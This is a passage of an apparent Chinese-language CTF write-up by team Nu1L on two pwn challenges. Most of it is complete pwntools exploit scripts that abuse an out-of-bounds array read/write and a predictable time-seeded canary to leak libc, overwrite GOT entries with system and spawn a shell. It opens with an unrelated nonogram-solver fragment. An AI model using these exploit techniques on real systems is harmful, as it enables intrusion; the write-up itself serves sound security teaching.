#test_cols = [[7, 3, 4, 7], [1, 1, 3, 1, 1, 1], [1, 3, 1, 3, 3, 1, 3, 1], [1, 3, 1, 3, 1, 1, 3, 1], [1, 3, 1, 3, 1, 2, 1, 3, 1], [1, 1, 2, 1, 1, 1, 1], [7, 1, 1, 1, 1, 1, 7], [3], [1, 2, 1, 2, 3, 2, 2], [1, 3, 1, 1, 2], [2, 1, 2, 3, 1, 3], [1, 2, 2, 2, 1, 2, 1, 2], [2, 3, 2, 1, 1, 2, 1], [2, 2, 3, 1, 1, 2, 3, 1], [2, 3, 7, 1, 2], [2, 1, 1, 1, 1, 3], [3, 2, 2, 1, 1, 5, 3], [1, 1, 2, 1], [7, 2, 3, 1, 1, 3, 1], [1, 1, 3, 2, 1, 1], [1, 3, 1, 3, 1, 9], [1, 3, 1, 1, 5, 1, 1], [1, 3, 1, 3, 1, 2, 2], [1, 1, 5, 1, 1, 1, 2], [7, 9, 7]]
#test_rows = [[7, 1, 2, 2, 7], [1, 1, 1, 5, 1, 1], [1, 3, 1, 1, 3, 1, 1, 3, 1], [1, 3, 1, 2, 1, 3, 1], [1, 3, 1, 3, 1, 1, 3, 1], [1, 1, 3, 1, 1], [7, 1, 1, 1, 1, 1, 7], [1, 2, 4], [2, 2, 1, 1, 3, 1, 1], [2, 3, 1, 2, 1, 1, 1, 2], [10, 1, 2, 2, 3], [1,    1   , 1, 1, 3, 3], [1, 5, 2, 1, 7], [1, 2, 1, 1, 1, 1, 1, 2], [3, 1, 1, 4, 2, 1], [1, 1, 2, 1, 5, 1, 1, 2], [1, 1, 1, 1, 3, 1, 7, 1], [1, 1, 2, 1, 1, 1], [7, 3, 2, 1, 1, 1], [1, 1, 1, 2, 2, 2], [1, 3, 1, 1, 2, 8, 1, 1], [1, 3, 1, 1, 1, 2, 1, 1, 1], [1, 3, 1, 2, 2, 1, 3, 2], [1, 1, 4, 1, 2, 1, 3], [7, 1, 2, 2, 1, 1, 3, 1]]

test_cols = [[7,2, 1, 1, 7], [1, 1, 1, 1, 1, 1, 1, 1], [1, 3, 1, 1, 2, 1, 1, 3, 1], [1, 3, 1, 1, 3, 1, 3, 1], [1, 3, 1, 3, 1, 1, 1, 3, 1], [1, 1, 2, 2, 1, 1], [7, 1, 1, 1, 1, 1, 7], [1, 1, 1, 2], [4, 2, 1, 2, 1, 1, 2, 2], [2, 1, 1, 1, 1, 2, 1, 2, 1, 1], [3, 2, 1, 2, 4, 1], [2, 1, 4, 1, 1, 1, 1, 1], [1, 1, 5, 6, 3, 2], [2, 1, 1, 1, 1, 5, 1, 2], [5, 1, 7, 4, 2], [1, 3, 1, 3, 1], [1, 2, 1, 2, 8, 2], [3, 1, 2, 3, 1], [7, 1, 2, 1, 1, 2, 1], [1, 1, 5, 3, 1, 1], [1, 3, 1, 1, 8, 1], [1, 3, 1, 5, 3, 1, 2], [1, 3, 1, 1, 3, 3, 2, 3], [1, 1, 1, 1, 2, 2, 3], [7, 1, 2, 2, 1, 1]]
test_rows =   [[7, 2, 1, 1, 7], [1, 1, 4, 4, 1, 1], [1, 3, 1, 1, 5, 1, 3, 1], [1, 3, 1, 3, 1, 1, 1, 3, 1], [1, 3, 1, 2, 1, 1, 1, 3, 1], [1, 1, 3, 2, 1, 1], [7, 1, 1, 1, 1, 1, 7], [1, 3], [2, 3, 3, 1, 1, 4], [1, 3, 2, 1, 1, 6], [2, 1, 1, 1, 5, 1, 2], [1, 2, 2, 1, 1, 4], [2, 1, 1, 6, 2, 2, 1], [5, 3, 1, 1, 3, 1, 1], [1, 1, 1, 5, 2, 2], [2, 2, 2, 2, 4, 1], [3, 3, 5, 7, 1], [3, 3, 1, 2, 1], [7, 2, 4, 1, 1, 1], [1, 1, 3, 1, 3, 1, 1], [1, 3, 1, 2, 3, 6, 1], [1, 3, 1, 1, 1, 1, 2, 1, 1], [1, 3, 1, 1, 1, 2, 2], [1, 1, 1, 2, 2, 2, 3], [7, 2, 3, 1, 5]]
go(test_cols,test_rows)
# remove duplicates with
# fdupes -rdN .
# turn it into a gif with
# convert -delay 10 -loop 0 nonogram*.png anim.gif

Crypto&Exploit400(Pwn-1)

用IDA分析程序,发现程序内部自己实现了一个内存管理系统。和LIBC的堆有些相似,连续申请的内存会在相邻的地址。

经过分析,发现漏洞出在Update与Query的时候,可以越过数组界限读写4个字节,于是修改相邻数组的开头(开头为数组包含数字总和),可以达到任意写的效果。

脚本:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
from ctypes import *

local = False
if local:
	io = process('./pwn1')
else:
	atoi_offset = 0x2D8E0
	system_offset = 0x3BC90
	io = remote('pwn.lab.seclover.com',11111)

def r_sort(io,numbers):
	io.recvuntil('$ ')
	io.sendline('sort')
	io.recvuntil(':')
	io.sendline(str(len(numbers)))
	for i in numbers:
		io.recvuntil(':')
		io.sendline(str(i))

def main():
	# leak heap base
	r_sort(io,[1])
	print io.recvuntil('Choose:')
	io.sendline('3')
	print io.recvuntil('Choose:')
	io.sendline('1')
	print io.recvuntil('index:')
	io.sendline('1')
	io.recvuntil('result: ')
	heap_base = int(io.recvline()[:-1])
	log.success('Heap Base = ' + hex(heap_base))
	io.recvuntil('Choose:')
	io.sendline('7')
	
	io.recvuntil('$ ')
	io.sendline('clear')
	# now:
	# [8|8|xxxxxx]
	
	r_sort(io,[1,2,3])
	io.recvuntil('Choose:')
	io.sendline('3')
	io.recvuntil('Choose:')
	io.sendline('7')
	r_sort(io,[1,2,3,4,5,6,7])
	io.recvuntil('Choose:')
	io.sendline('3')
	io.recvuntil('Choose:')
	io.sendline('7')
	io.recvuntil('$ ')
	io.sendline('clear')
	
	r_sort(io,[1,2,3,4,5,6,7])
	io.recvuntil('Choose:')
	io.sendline('3')
	io.recvuntil('Choose:')
	io.sendline('7')
	r_sort(io,[1,2,3])
	io.recvuntil('Choose:')
	io.sendline('2')
	io.recvuntil(':')
	io.sendline('3')
	io.recvuntil(':')
	io.sendline('1073741832')
	io.recvuntil('Choose:')
	io.sendline('7')
	
	io.recvuntil('$ ')
	io.sendline('reload')
	io.recvuntil(':')
	io.sendline('0')
	
	addr = heap_base + 0x40
	atoi_plt = c_uint32(0x804d020)
	atoi_plt.value -= addr
	atoi_plt.value /= 4
	atoi_plt.value -= 1
	log.success('Index = '+str(atoi_plt.value))
	
	io.recvuntil('Choose:')
	io.sendline('1')
	io.recvuntil('index:')
	io.sendline(str(atoi_plt.value))
	io.recvuntil('result: ')
	atoi_addr = c_uint32(int(io.recvline()[:-1]))
	log.success('Atoi addr = ' + hex(atoi_addr.value))
	libc_addr = atoi_addr.value - atoi_offset
	log.success('Libc addr = ' + hex(libc_addr))
	system_addr = c_int32(libc_addr + system_offset)
	io.recvuntil('Choose:')
	io.sendline('2')
	io.recvuntil(':')
	io.sendline(str(atoi_plt.value))
	io.recvuntil(':')
	io.sendline(str(system_addr.value))
	
	io.recvuntil('Choose:')
	io.sendline('/bin/sh')
	
	#raw_input('attach!')
	
	io.interactive()
	return 0

if __name__ == '__main__':
	main()

效果:

R1.png

Crypto&Exploit600(Pwn-2)

这道题目是pwn 400 的延伸,程序在分配数组时多分配了一个dword用作canary以防止我们修改数组长度。canary是以time(0)作seed产生的伪随机数,又因为两道题目运行在同一个服务器上,所以我想到了和服务器同步时间以得到canary。利用pwn400的脚本将系统时间同步,然后利用和pwn400相似的方法即可get shell,拿到flag。

脚本:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
from ctypes import *

def r_sort(io,numbers):
	io.recvuntil('$ ')
	io.sendline('sort')
	io.recvuntil(':')
	io.sendline(str(len(numbers)))
	for i in numbers:
		io.recvuntil(':')
		io.sendline(str(i))
		
def get_random(delta=0):
	libc = CDLL('libc.so.6')
	
	seed = libc.time(0) + delta
	libc.srand(seed)
	return c_uint32(libc.rand())

def main():
	delta = 0
	while 1:
		local = False
		if local:
			io = process('./pwn2')
			random = get_random(delta)
			strtol_offset = 0x305B0
			atoi_offset = 0x2D8E0
			system_offset = 0x30240
		else:
			io = remote('pwn.lab.seclover.com',22222)
			random = get_random(delta)
			strtol_offset = 0x305B0
			atoi_offset = 0x2D8E0
			system_offset = 0x3BC90
		
		log.info('Random = ' + str(random))
		canary = c_int32(0x40000008^random.value).value
		if canary < 0x40000008:
			log.info('Canary Less than Length! Retry')
			io.close()
			continue
			
		r_sort(io,[0x40000008,canary,0x7fffffff,0x7fffffff,0x7fffffff,0x7fffffff])
		io.recvuntil('Choose:')
		io.sendline('3')
		io.recvuntil('Choose:')
		io.sendline('1')
		io.recvuntil('index:')
		io.sendline('6')
		io.recvuntil('result: ')
		heap_base = int(io.recvline()[:-1])
		log.success('Heap Base = ' + hex(heap_base))
		fake_array = heap_base + 8
		io.recvuntil('Choose:')
		io.sendline('2')
		io.recvuntil(':')
		io.sendline('6')
		io.recvuntil(':')
		io.sendline(str(fake_array))
		io.recvuntil('Choose:')
		io.sendline('7')
		
		io.recvuntil('$ ')
		io.sendline('reload')
		io.recvuntil(':')
		io.sendline('0')
		
		#raw_input('Attach now!')
		io.recvuntil('Choose:')
		io.sendline('1')
		io.recvuntil(':')
		io.sendline('0')
		
		io.recv(9999)
		result = io.recv(9999)
		print result
		
		if 'Overwrite' not in result:
			log.success("Delta found !" + str(delta))
			# calc index
			strtol_got = 0x0804C01C
			index = c_uint32(c_uint32(strtol_got-(fake_array+8)).value/4).value-8
			log.info("Index " + str(index))
			io.sendline('1')
			print io.recvuntil(':')
			io.sendline(str(index))
			print io.recvuntil('result: ')
			strtol_addr = c_uint32(int(io.recvline()[:-1]))
			log.success('strtol addr = ' + hex(strtol_addr.value))
			#raw_input("attach!")
			libc_addr = strtol_addr.value - strtol_offset
			log.success('Libc addr = ' + hex(libc_addr))
			system_addr = libc_addr + system_offset
			io.sendline('2')
			io.recvuntil(':')
			io.sendline(str(index))
			io.recvuntil(':')
			io.sendline(str(c_int32(system_addr).value))
			io.recvuntil('Choose:')
			io.sendline('/bin/sh')
			io.interactive()
			exit(0)
		
		#io.interactive()
		io.close()
	return 0

if __name__ == '__main__':
	main()

效果:

r2.png

注:其实我觉得我的解法挺猥琐的…不知道是不是这道题目的正解,不过解出来就好…

*原创作者:Nu1L团队,本文属FreeBuf原创奖励计划,未经许可禁止转载

相关推荐

这些评论亮了

  • 呵呵 回复
    求一个CTF师傅,教会我,我给你送个五位的QQ号。
    )7( 亮了
发表评论

已有 8 条评论

取消
Loading...

这家伙太懒,还未填写个人描述!

5 文章数 7 评论数 0 关注者

特别推荐

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php